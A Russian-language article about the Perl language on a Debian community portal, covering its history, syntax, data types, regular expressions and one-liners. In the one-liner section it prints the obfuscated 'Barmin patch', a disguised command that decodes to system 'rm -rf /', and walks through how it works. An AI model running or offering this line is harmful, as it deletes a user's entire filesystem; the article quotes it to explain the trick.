4Debian.Info - Портал русскогоязычного сообщества Debian Карта сайта Контакты

Меню

Репозитории Debian

Скачать Debian

Установка Debian - Видео



Авторизация:

Новые статьи

Статьи в RSS

Новые комментарии

Новые уроки

Уроки в RSS


Perl
Perl logo.png
Семантика:

мультипарадигменный: императивный, объектно-ориентированный, функциональный

Тип исполнения:

интерпретатор

Появился в:

1987

Автор(ы):

Ларри Уолл

Расширение файлов:

.pl, .pm, .cgi

Релиз:

5.14.2 / 26 сентября 2011

Тестовая версия:

5.14.3 / 21 сентября 2011

Типизация данных:

динамическая

Испытал влияние:

Си, AWK, Shell, Sed, Лисп

Повлиял на:

Ruby, Python, PHP

Perl — высокоуровневый интерпретируемый динамический язык программирования общего назначения, созданный Ларри Уоллом, лингвистом по образованию. Название языка представляет собой аббревиатуру, которая расшифровывается как Practical Extraction and Report Language — «практический язык для извлечения данных и составления отчётов». Первоначально аббревиатура состояла из пяти символов и в таком виде в точности совпадала с английским словом pearl («жемчужина»). Но затем стало известно, что такой язык существует (см. PEARL (англ.)), и букву «a» убрали. Талисманом языка Perl является верблюд — не слишком красивое, но очень выносливое животное, способное выполнять тяжёлую работу.

Основной особенностью языка считаются его богатые возможности для работы с текстом, в том числе работа с регулярными выражениями, встроенная в синтаксис. Перл унаследовал много свойств от языков Си, AWK, скриптовых языков командных оболочек UNIX.

Perl также знаменит огромной коллекцией дополнительных модулей CPAN, находящейся по адресу http://www.cpan.org.

Содержание
История Первые версии

Ларри Уолл начал разработку Perl в 1987 году, когда работал программистом в Unisys. Версия 1.0 была выпущена и анонсирована в новостной группе comp.sources.misc 18 декабря 1987 года как «„замена“ для awk и sed».

Perl 2 был выпущен в 1988 году. Основным нововведением в нём был переработаный механизм регулярных выражений. Perl 3, выпущенный в 1989 году, получил возможность обрабатывать потоки двоичных данных.

Изначально, единственной документацией для Perl была единственная (огромной длины) man-страница. В 1991 году была выпущена книга «Programming Perl» (известная многим программистам как «Верблюжья книга» (Camel Book) из-за изображения на обложке), которая, де-факто, стала стандартом языка. В то же самое время, версия языка была «поднята» до 4 — не столько, чтобы указать на значительные изменения, сколько, чтобы обозначить, что эта версия языка документирована книгой.

Ранний Perl 5

Perl 4 прошёл через серию релизов, остановившись на Perl 4.036 в 1993 году. В этот момент, Ларри Уолл забросил Perl 4 и начал работу над Perl 5. Разработка Perl 5 была начата в 1994 году. В то же время был создан список рассылки perl5-porters для координации работы над портированием Perl 5 на различные платформы. Он до сих пор остаётся основным форумом по разработке, обслуживанию и портированию Perl 5.

Perl 5.000 был выпущен 17 октября 1994 года. Он включал в себя полностью переписанный интерпретатор, а также много новых языковых возможностей, таких, как объекты, ссылки, локальные переменные (my $var_name) и модули. Особенно важной частью были модули, так как они предоставили механизм расширения языка без модифицирования интерпретатора. Это позволило стабилизировать интерпретатор, но при этом, дало возможность обычным Perl-программистам добавлять в язык новые возможности. Perl 5 находится в активной разработке по сей день.

Perl 5.001 был выпущен 13 марта 1995 года. Perl 5.002 увидел свет 29 февраля 1996 года с новой поддержкой прототипов. Это позволило авторам модулей создавать функции, которые вели себя так же, как и встроенные функции Perl. Версия Perl 5.003 появилась 25 июня 1996 и устраняла обнаружившиеся проблемы с безопасностью.

Одно из важнейших событий в истории Perl 5 случилось за пределами собственно языка и было следствием поддержки модулей. 26 октября 1995 года начала свою работу CPAN (Comprehensive Perl Archive Network — «всеобъемлющая сеть архивов Perl»), которая стала репозиторием модулей Perl, а также исходного кода самого языка. На данный момент сеть насчитывает более 20 000 модулей, созданных более чем 8 000 программистов.

Perl 5.004 был выпущен 15 мая 1997 года и содержал, кроме всего прочего, пакет UNIVERSAL, который давал языку основной объект, от которого автоматически происходили все классы. Была также включена возможность запрашивать версию модулей. В дополнение к этому Perl стал поддерживать Microsoft Windows, а также ряд других операционных систем.

Perl 5.005 увидел свет 22 июня 1998 года. Этот релиз включал в себя несколько улучшений процессора регулярных выражений, новые перехваты в бэкенд с помощью модулей B::*, оператор кавычек qr// для регулярных выражений, большой выбор других новых модулей, а также поддержку ряда операционных систем, в частности, BeOS.

C 2000 по наше время

Perl 5.6 был выпущен 22 марта 2000 года. Главные изменения включали поддержку 64-битных систем, представление строк в стандарте Юникод, поддержку больших файлов (файлы больше 2 Гб) и ключевое слово «our». Во время разработки Perl 5.6 было принято решение изменить схему наименования версий на более близкую к другим проектам с открытым исходным кодом. За версией 5.005_63 следовала версия 5.5.640; согласно плану, версиям в разработке должны были присваиватся нечётные номера, стабильным версиям — чётные.

В 2000 году Ларри Уолл выступил с призывом к сообществу активно обсуждать предложения к следующей версии Perl. Результатом этого обсуждения стал 361 документ RFC (Request for Comments — «запрос комментариев»), которые были использованы в разработке Perl 6. В 2001 году была начата работа над финальным документом, подводящим итог предложениям к созданию нового поколения Perl. Результат был представлен не в виде формального документа, а в качестве дайджеста всех RFC. К этому времени Perl 6 существовал исключительно в виде описания языка.

Perl 5.8 был впервые выпущен 18 июля 2002 года и с этого момента получал ежегодное обновление. Последняя версия Perl 5.8 — 5.8.9 увидела свет 14 декабря 2008 года. Perl 5.8 улучшал поддержку Юникода, добавлял новую реализацию ввода/вывода, добавлял поддержку многопоточности, увеличивал числовую точность и добавлял несколько новых модулей.

В 2004 году началась работа над Cинопсисом (Synopsis) — первоначально задумавшимся как ряд документов, подводящих итоги финального документа, упоминавшегося выше. Однако постепенно этот ряд документов и стал спецификацией Perl 6. В феврале 2005 года Audrey Tang начал работу над Pugs — интерпретатором Perl 6, написанном на Haskell. Это было первой настоящей попыткой воплотить Perl 6 в реальность. Эта попытка заглохла в 2006 году.

18 декабря 2007 года, в день 20-летней годовщины Perl 1.0, была выпущена версия Perl 5.10.0. Эта версия содержала в себе ряд заметных нововведений, приближающих её к Perl 6. Одними из таких нововведений стали новые операторы switch (названных «given»/«when»), обновление регулярных выражений, а также «умный» оператор совпадения «~~».

Примерно в это же время всерьёз началась разработка новой имплементации Perl 6, известной как Rakudo Perl , разработанной в тандеме с виртуальной машиной Parrot. C ноября 2009 Rakudo Perl регулярно обновляется каждый месяц и является на данный момент самой полной имплементацией Perl 6.

Значительное изменение процесса разработки Perl 5 произошло после появления Perl 5.11. Сообщество разработчиков перешло на ежемесячный цикл релизов, с планированием даты релиза на три месяца вперёд.

12 апреля 2010 года Perl 5.12.0 был представлен публике. Выдающиеся нововведения включают в себя поддержку нового синтаксиса package NAME VERSION, оператор Yada Yada (служащего для маркировки кода-заполнителя, который ещё не реализован), полное решение Проблемы 2038 года (Y2038), перегрузку операторов регулярных выражений, поддержку DTrace (фреймворка динамической трассировки), а также полную поддержку стандарта Unicode 5.2. 7 сентября 2010 года был выпущен Perl 5.12.2. Этот релиз содержит обновление модулей, а также некоторые изменения в документации.

Последний стабильный релиз, выпущенный 26 сентября 2011 года — Perl 5.14.2.

Perl 6

С 2000 года идет разработка новой (6-й) версии языка. В отличие от предыдущих версий, разработчики планируют создать четко определенный стандарт языка. В настоящее время существуют экспериментальные компиляторы Perl 6, но продолжается дальнейшая дискуссия о новых правилах. На русском языке информация о новой версии языка доступна на сайте perl6.ru.

Обзор

Perl — язык программирования общего назначения, который был первоначально создан для манипуляций с текстом, но на данный момент используется для выполнения широкого спектра задач, включая системное администрирование, веб-разработку, сетевое программирование, игры, биоинформатику, разработку графических пользовательских интерфейсов.

Язык можно охарактеризовать скорее как практичный (лёгкость в использовании, эффективность, полнота), чем красивый (элегантность, минималистичность). Главными достоинствами языка являются поддержка различных парадигм (процедурный, объектно-ориентированный и функциональный стили программирования), контроль за памятью (без сборщика мусора, основанного на циклах), встроенная поддержка обработки текста, а также большая коллекция модулей сторонних разработчиков.

Согласно Ларри Уоллу, у Perl есть два девиза. Первый — «Есть больше одного способа это сделать» («There’s more than one way to do it»), известный также под аббревиатурой TMTOWTDI. Второй слоган — «Простые вещи должны оставаться простыми, а сложные — стать выполнимыми» («Easy things should be easy and hard things should be possible»).

Особенности

Общая структура Perl в общих чертах ведёт своё начало от языка Си. Perl — процедурный по своей природе, имеет переменные, выражения присваивания, блоки кода, отделяемые фигурными скобками, управляющие структуры и функции.

Perl также заимствует ряд свойств из языков программирования командных оболочек UNIX. Все переменные маркируются ведущими знаками, которые точно выражают тип данных переменной в этом контексте (например, скаляр, массив, хеш). Важно, что эти знаки позволяют переменным быть интерполированным в строках. Perl обладает множеством встроенных функций, которые обеспечивают инструментарий, часто используемый для программирования оболочки, например сортировку или вызов системных служб.

Perl заимствует массивы из Lisp, регулярные выражения из AWK и sed, из AWK также позаимствованы хеши («ассоциативные массивы»). Регулярные выражения облегчают выполнение многих задач по парсингу, обработке текста и манипуляций с данными.

Perl 5 добавил поддержку сложных типов данных, первоклассных функций (замыкание как значение) и объектную модель. В последнюю входят ссылки, пакеты, выполнение методов от класса, переменные с лексическим объявлением области видимости, а также директивы компилятору (например, strict). Главнейшим усовершенствованием, представленным в Perl 5, стала возможность помещать код в «пакеты» (package) в качестве модулей для повторного использования. Ларри Уолл позже заметил, что «Весь замысел модульной системы Perl 5 сводился к поощрению роста культуры Perl, а не строчек кода».

Все версии Perl выполняют автоматическую типизацию данных и автоматический контроль над памятью. Интерпретатор знает тип и запросы памяти каждого объекта программы, он распределяет и освобождает память, производя подсчёт ссылок. Перевод одного типа данных в другой — например, числа в строку — происходит автоматически во время исполнения, невозможные для выполнения переводы типов данных приводят к фатальной ошибке.

Синтаксис языка Perl

Синтаксис Perl имеет много общего с синтаксисом языков Си, AWK, sed и Bourne shell.

Первая строка исходного кода может начинаться с «#!/Путь/к/Perl [-ключи]» — что указывает системе путь к интерпретатору Perl для выполнения программы в UNIX системах и выполнения их на веб-сервере. Изначально обработка такой строки — это функция shell, но Perl при выполнении программы также проверяет эту строку и читает из неё ключи, игнорируя путь к интерпретатору.

Пример программы

Простейшая программа «Hello, world!» выглядит следующим образом:

bash:
  1. #!/usr/bin/perl
  2. print "Hello, world!\n";

либо для CGI:

bash:
  1. #!/usr/bin/perl
  2. print "Content-type: text/html\n\n";
  3. print "Hello, world!";

либо используя один из post modern web-framework

bash:
  1. use Mojolicious::Lite;
  2. get '/' => {text => 'Hello World!'};
  3. app->start;

либо используя PSGI спецификацию

bash:
  1. my $app = sub {
  2. return [200, ['Content-Type' => 'text/plain'], ["hello, world\n"]];
  3. }

Дозапись в строку.

bash:
  1. $x = 5;
  2. $x .= 0;
  3. print $x; #50

А вот так можно напечатать число гугол.

bash:
  1. print 1, 0 x 100;
Типы данных

Основные типы данных: скаляр, массив, хеш-таблица, функция, указание на файл, запись таблицы символов. Переменные разных типов отличаются знаком, который стоит перед именем переменной:

Тип Символ Пример Описание
Скаляр $ $foo единичное значение; может быть числом, строкой, указанием на файл, а также ссылкой.
Массив @ @foo Упорядоченная коллекция скаляров.
Хеш-таблица % %foo Коллекция из пар строка-скаляр; строки называются ключами, а скаляры — значениями. Синоним — ассоциативный массив.
Файловый дескриптор нет $foo или FOO Представление открытого файла или другой цели, открытой для чтения и/или записи.
Функция & &foo Отрезок кода, который принимает аргументы, исполняет действия и возвращает значения.
Запись таблицы символов * *foo Запись таблицы символов для всех типов с именем 'foo'.
Скаляр
  • Скалярные переменные используются для хранения одиночных значений. Они могут содержать числа, строки и ссылки на другие объекты. Перед именем скалярной переменной необходимо ставить знак доллара '$'. Тип скалярной переменной не фиксирован (в отличие от, например, языка Си) и определяется динамически в зависимости от контекста. Например,
bash:
  1. $x = 10; # число
  2. $y = $x + 1; # используем $x как число…
  3. $z = $x . 'string'; # … а теперь — как строку
  4. $ref = \$x; # $ref является указателем на $x
  5. $$ref = 0; # $x содержит значение 0

Строковые данные должны быть помещены в кавычки. Perl использует два вида кавычек — одиночные и двойные. Помещение строки в двойные кавычки позволяет именам переменных, содержащимся в строке, автоматически заменить собою название переменных. Заключение строк в одиночные кавычки предотвращает такое поведение:

bash:
  1. ## Пример интерполяции переменных в двойных кавычках
  2.  
  3. $pi = 3.141592654;
  4. $var1 = 'Значение Pi - $pi\n';
  5. print $var1; # Значение Pi - $pi\n
  6. $var2 = "Значение Pi - $pi\n";
  7. print $var2; # Значение Pi - 3.141592654

Для включения двойных кавычек в строку, которая была помещена в двойные кавычки, следует использовать отмену знака — \". Для включения одинарных кавычек в строку из ординарных кавычек — \'. Для удобства работы со строками содержащими много знаков кавычек внутри, Perl позволяет использовать альтернативные способы закавычивания. Альтернативная форма использует любую пару знаков, помещённых после буквы q (имитирует поведение одинарных кавычек) или qq (имитирует поведение двойных кавычек):

bash:
  1. ## Пример использования альтернативных кавычек
  2.  
  3. $pi = 3.141592654;
  4. $link1 = q{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>};
  5. print $link1; # <a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>
  6. $link2 = qq{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>};
  7. print $link2; # <a href="http://ru.wikipedia.org/wiki/Pi">3.141592654</a>

Ещё один тип кавычек в Perl — обратные кавычки. В них помещаются программы операционной системы, вывод которых может быть передан интерпретатору Perl. Выполнение программ всегда заканчиваются символом новой строки — \n:

bash:
  1. ## Пример использования обратных кавычек для исполнения команд UNIX
  2.  
  3. $space = `du -s -k /usr/local/bin`;
  4. print $space; # 6264 /usr/local/bin
  5.  
  6. $sysuptime = `uptime`;
  7. print $sysuptime; # 2:24 up 1 day, 9:05, 1 user, load averages: 0.26 0.32 0.33
Массив
  • Массив является упорядоченным списком скаляров. Каждый элемент массива имеет порядковый индекс, с помощью которого к нему можно получить доступ. Нумерация элементов начинается с нуля, то есть первый элемент списка имеет индекс 0. Перед именем переменной-массива необходимо ставить знак '@', а для доступа к определенному элементу массива использовать знак '$', так как определенный элемент массива является скаляром . Многомерные массивы можно смоделировать, помещая в список ссылки на другие списки.
bash:
  1. @array = (1,2,3,4); # записали в массив @array четыре элемента
  2. print $array[2]; # напечатать третий элемент
  3. print @array[2,3]; # напечатать третий и четвертый элемент.
  4. # Здесь используется @, так как результат операции среза массива тоже является массивом.
Хеш-таблица
  • Хеш-таблица представляет собой ассоциативный массив, позволяющий ассоциировать строку (называемую ключ) со скаляром (значение). Строка называется ключом, а скаляр в хеш-таблице значением. Перед именем переменной-списка необходимо ставить знак процента '%', а для доступа к определенному элементу массива необходимо ставить знак '$'.

Хеш-таблицу можно инициализировать массивом или списком, состоящим из неограниченного числа последовательностей (ключ, значение).

bash:
  1. %hash = (
  2. 'cat' => 'kitten', # здесь => - это так называемая "длинная запятая",
  3. 'dog' => 'puppy', # в этом примере по функции полностью аналогичная обыкновенной ",".
  4. 'cow' => 'calf'
  5. );
  6. print $hash{'cat'}; #Напечатает kitten
  7. print join("-", keys %hash) ; # Вывод всех ключей. Напечатает cat-dog-cow
  8. print join("-", values %hash) ; # Вывод всех значений. Напечатает kitten-puppy-calf
  9. print join("-", %hash) ; # Напечатает cat-kitten-cow-calf-dog-puppy, так как в списковом контексте хэш автоматически
  10. # разворачивается в список (ключ, значение). Так как ключи в хэше не сортируются,
  11. # пары каждый раз будут выводиться в произвольном порядке.
Функция
  • Функция представляет собой фрагмент исполняемого кода. Функция всегда возвращает какое-либо значение. Если возвращаемое значение явно не указано оператором return, возвращается последнее вычисленное значение. Если в функции используется return без параметров, то в зависимости от контекста вызова функции возвращается неопределённое значение undef, пустой список или вообще ничего.
bash:
  1. sub printTwo{
  2. print 2;
  3. }
  4.  
  5. sub three{
  6. 3;
  7. }
  8.  
  9. $s = \&three;
  10. print &$s; #Напечатает 3
  11.  
  12. $s = \&printTwo; # Запишем в скаляр $s ссылку на функцию - через эту ссылку она будет вызвана в следующей строке.
  13. print &$s; #Напечатает 21. `2` в коде функции, а `1` как значение, возвращаемое функцией printTwo
  14. print &printTwo #То же самое
Константа
  • Константа представляет собой неизменяемое значение. Константа не является встроенным типом языка и эмулируется при помощи функций. Предпочтительно задавать константы с помощью стандартного модуля constant, чтобы в будущем не зависеть от возможных изменений в реализации констант. Использование:
bash:
  1. use constant MY => 2;
  2. print MY;
Запись таблицы символов
  • Запись таблицы символов — специальный тип, в котором хранятся ссылки на все переменные других типов с таким названием, а также на символы, которые часто использует для хранения файловый дескриптор, представляющих собой указатель на файл, устройство или PIPE канал, открытые для записи, чтения или для записи и чтения.

Использование:

bash:
  1. $s = <STDIN>; #Читаем одну строку из дескриптора STDIN (стандартный поток ввода); скалярный контекст.
  2. @values = <FILE>; #Читаем все строчки из некоторого открытого и связанного с дескриптором FILE файла; списковый контекст.
  3. print STDOUT $s; #Печатаем в STDOUT (стандартный поток вывода)

В последних версиях Perl появилась возможность хранить файловые дескрипторы в скалярах, и в новых программах предпочтительно пользоваться именно этим способом.

Также таблицы символов используются для связи двух имён переменной с одним значением в памяти, создавая синонимы, которые могут быть использованы для доступа и модификации значения точно также как и оригинальное имя. Эта возможность является основой системы загружаемых модулей, классов и объектов в Perl.

Классы и объекты

Объект в Perl представляет собой просто ссылку, но не любую, а связанную с определенным классом(пакетом). Для связи используется функция bless. Методы в Perl являются обычными подпрограммами. Конструктор — это просто подпрограмма, возвращающая ссылку.

Так же существуют множество расширения для системы ООП, позволяющие менять до неузнаваемости синтаксис и использовать новый «синтаксический сахар», в числе которых стоит назвать cpan-модули Moose и/или Mouse, MooseX::Declare. Moose используется многими проектами и крупными компаниями, такими как BBC или Cisco.

Регулярные выражения

Важной частью Perl являются регулярные выражения. Благодаря этому Perl хорошо подходит для обработки текстов. Бо́льшая часть работы с регулярными выражениями производится при помощи операторов =~, m// и s///.

Оператор m// используется для проверки на совпадение. В простейшем случае результат выражения $x =~ m/abc/ будет истинным, если и только если строка $x будет соответствовать регулярному выражению abc. Например:

Пример Значение
$x =~ /abc/ Строка $x содержит (под)строку «abc». Начальная буква «m» оператора при использовании // может быть опущена.
$x =~ m/a(.{1,3})c/ Строка $x содержит букву «a», затем от одного до трех любых символов кроме символа перевода строки «\n», и затем букву «c». Найденные символы будут сохранены в переменную $1.
$x =~ m{^p(erl|ugs)$}i Строка $x строго равна «perl» или «pugs» без учета регистра. Так же, вместо // регулярное выражение окружено в {}.

Поиск и замена выполняются при помощи оператора s///. Конструкция $x =~ s/abc/def/; заменит первое вхождение регулярного выражения abc на строку def.

Пример Значение
$x =~ s/abc/def/g; Все вхождения (на что указывает флаг /g — global) подстроки «abc» в $x будут заменены на «def».
$x =~ s/a(.{1,3})c/!$1!/; Первое вхождение в $x буквы «a», затем от одного до трех любых символов кроме символа перевода строки «\n», и затем буквы «c» будет заменено на эти символы между «a» и «c», окружённые «!». Например, «syntactic» станет «synt!cti!».
$x =~ s{^p(erl|ugs)}{"P" . lc $1}ieg; Здесь показан пример использования модификатора /e, указывающего на то, что вместо строки замены будет написан код, результат выполнения которого надо использовать. Все вхождения «perl» или «pugs» в любом регистре будут заменены на «Perl» и «Pugs», соответственно.

С появлением динамических регулярных выражений (??{ код Perl }) и конструкции для включения в регулярное выражение исполняемого кода Perl (?{ код Perl }) возможности по поиску и замене стали практически безграничными. К примеру, стал возможен поиск конструкций произвольного уровня вложенности.

Регулярные выражения Perl настолько популярны, что они включены напрямую в другие языки, такие как PHP и JavaScript, а также существуют подключаемые библиотеки, реализующие использование выражений в компилируемых языках.

Программы из одной строки

Интересной и часто используемой возможностью Perl являются так называемые one-liners — программы из одной строки, обычно задаваемые прямо в строке вызова интерпретатора с помощью ключа -e.

Эта программа напечатает простые числа:

bash:
  1. perl -wle '(1 x $_) !~ /^(1|((11+)\3+))$/ && print while ++ $_'

Этот пример напечатает только уникальные строки файла file, ключ -n автоматически заворачивает строку обработки в цикл, который проходит по всем строкам в файлах, указанных после текста программы:

bash:
  1. perl -ne '$s{$_}++ || print' file

Примечание: для запуска предыдущей команды под Windows замените в ней апострофы ' на двойные кавычки ".

В этих примерах Perl напоминает своей краткостью и непонятностью с первого взгляда язык J.

Также одним из подобных примеров является вызвавшая большой резонанс программа, на самом деле являющаяся патчем Бармина (замаскированной командой рекурсивного удаления всех файлов):

bash:
  1. echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

echo "test... test... test..." выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности. То что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:

bash:
  1. $? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
  2. y; -/:-@[-`{-};`-{/" -; ;
  3. s;;$_;see

Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').

Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:

bash:
  1. !"#$%&'()*+,-./:;<=>?@[\]^_`{|}
  2. `abcdefghijklmnopqrstuvwxyz{/" -

В результате содержимое $_ принимает вид

bash:
  1. system"rm -rf /"

Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.

Языки программирования и оболочки со схожими технологиями

Perl — далеко не единственный язык, дающий богатые возможности в обработке текста. Языки программирования РЕФАЛ, Icon и Снобол предоставляют возможность использовать более полно метод программирования «сопоставления с образцом», частным случаем которого и являются регулярные выражения.

Существует также полноценный shell, использующий в качестве основы язык Perl. Называется он psh и даёт возможность смешивать команды обычного шелла и самого Perl’а.

Поэзия в Perl

На Perl можно даже писать стихотворения. Одно из таких стихотворений под названием «Black Perl» («Чёрная жемчужина» или «Чёрный перл») было упомянуто Ларри Уоллом в первоапрельском письме в Usenet. Оно было написано изначально для Perl 3, и по словам самого Ларри, он испытал моральное удовлетворение, когда стихотворение не прошло синтаксический анализатор в Perl 5.

bash:
  1. BEFOREHEAD: close door, each window & exit; wait until time.
  2. open spellbook, study, read (scan, select, tell us);
  3. write it, print the hex whole each watches,
  4. reverse its length, write again;
  5. kill spiders, pop them, chop, split, kill them.
  6. unlink arms, shift, wait & listen (listening, wait),
  7. sort the flock (then, warn the "goats" & kill the "sheep");
  8. kill them, dump qualms, shift moralities,
  9. values aside, each one;
  10. die sheep! die to reverse the system
  11. you accept (reject, respect);
  12. next step,
  13. kill next sacrifice, each sacrifice,
  14. wait, redo ritual until "all the spirits are pleased";
  15. do it ("as they say").
  16. do it(*everyone***must***participate***in***forbidden**s*e*x*).
  17. return last victim; package body;
  18. exit crypt (time, times & "half a time") & close it,
  19. select (quickly) & warn your next victim;
  20. AFTERWORDS: tell nobody,
  21. wait, wait until time;
  22. wait until next year, next decade;
  23. sleep, sleep, die yourself,
  24. die at last
Редакторы
  • Padre IDE (англ.)
  • PSPad
  • ActiveState Komodo
  • jEdit
  • EPIC — Perl Editor and IDE for Eclipse
  • Geany
  • IDM Computer Solutions, Inc. — UltraEdit & UEStudio
  • Notepad++
  • Gedit
  • SciTE
Примечания
  1. Обзор языка Perl на сайте perldoc.perl.org  (англ.)
  2. Larry Wall. Проверено 20 августа 2006.
  3. Perl, a «replacement» for awk and sed. Проверено 18 декабря 2007.
  4. Архив списка рассылки perl5-porters
  5. История языка Perl на сайте perldoc.perl.org  (англ.)
  6. perl.org CPAN page.
  7. perl56delta — perldoc.perl.org
  8. perl561delta — perldoc.perl.org
  9. Apocalypse 1: The Ugly, the Bad, and the Good — dev.perl.org  (англ.)
  10. perl58delta — perldoc.perl.org
  11. en:Pugs
  12. HaskellWiki
  13. perldelta: what is new for perl 5.10.0
  14. Smart matching in detail
  15. en:Rakudo Perl
  16. perl5120delta — search.cpan.org
  17. perl5122delta — search.cpan.org
  18. perl-5.14.2. Проверено 26 сентября 2011.
  19. perlintro(1) man page
  20. Usenet post, May 10, 1997, with ID 199705101952.MAA00756@wall.org
  21. moose — A Postmodern Object System for Perl
  22. программа из одной строчки ни Perl
  23. perlfaq3 — perldoc.perl.org


Яндекс.Метрика
4Debian.Info
При полной или частичной перепечатке текстов статей и публикаций гиперссылка на www.4debian.info обязательна. | "4Debian.Info" | © 2018